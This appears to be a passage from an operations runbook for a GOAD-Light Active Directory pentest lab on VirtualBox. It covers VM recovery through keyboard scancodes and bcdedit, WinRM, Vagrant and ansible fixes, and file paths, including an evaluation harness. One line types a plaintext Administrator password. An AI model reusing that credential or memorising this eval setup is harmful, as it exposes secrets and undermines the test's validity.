VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c  # Enter (Advanced Options)
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 0f 8f  # Tab (to Command Prompt)
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c  # Enter

# At the account selection screen, Tab to Administrator, Enter, type password
VBoxManage controlvm "GOAD-Light-DC02" keyboardputstring "NgtI75cKV+Pu"
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c  # Enter

# At X:\windows\system32> prompt, disable recovery and boot policy
VBoxManage controlvm "GOAD-Light-DC02" keyboardputstring "bcdedit /set {default} recoveryenabled no"
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c
VBoxManage controlvm "GOAD-Light-DC02" keyboardputstring "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c
VBoxManage controlvm "GOAD-Light-DC02" keyboardputstring "exit"
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c

# Back at "Choose an option" with Continue highlighted — press Enter once
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c

Take a screenshot to verify state: VBoxManage controlvm "GOAD-Light-DC02" screenshotpng /tmp/dc02.png

If bcdedit doesn't fix it (VM still unresponsive after 15 min): do a full rebuild. The Windows installation has accumulated too much damage from repeated forced reboots. See the Rebuild DC02 procedure above — the vagrant destroy + vagrant up path is faster than continued recovery attempts.

Note: mousepointerabs is not supported in VirtualBox 7.2.8 headless. All navigation must use keyboard scancodes. Tab=0f 8f, Enter=1c 9c.

DC02 reports "not created" in vagrant but VM exists in VirtualBox

State divergence — VM was started outside vagrant. Fix: power off + delete + vagrant up (see DC02 Rebuild procedure above). Never start GOAD VMs via VBoxManage startvm directly.

WinRM HTTPS timeout (port 5986) during ansible

Ansible defaults to HTTPS. Override with: -e "ansible_port=5985 ansible_winrm_transport=ntlm"

Vagrant lock error ("another process is already executing an action")

rm -f ~/.vagrant.d/data/lock.machine-action-*.lock

ansible-runner not found

pip install ansible-runner --break-system-packages
# Then use ~/.goad/.venv/bin/python3, not system python3

Key File Paths

Path Purpose
testenv/GOAD/ GOAD tool root
testenv/GOAD/ad/GOAD-Light/data/config.json Authoritative user/group/password/ACL/SPN definitions
testenv/GOAD/ad/GOAD-Light/data/inventory Ansible inventory (WinRM creds, host groups)
testenv/GOAD/workspace/1acadc-goad-light-virtualbox/inventory Host IP assignments
testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider/ Vagrantfile location
testenv/GOAD/ansible/ All ansible playbooks and roles
testenv/GOAD/playbooks.yml Playbook run order per lab type
~/.goad/.venv/ GOAD tool Python venv (created by goad.sh)
testenv/eval_harness.py:267 GOAD IP/credential constants used by eval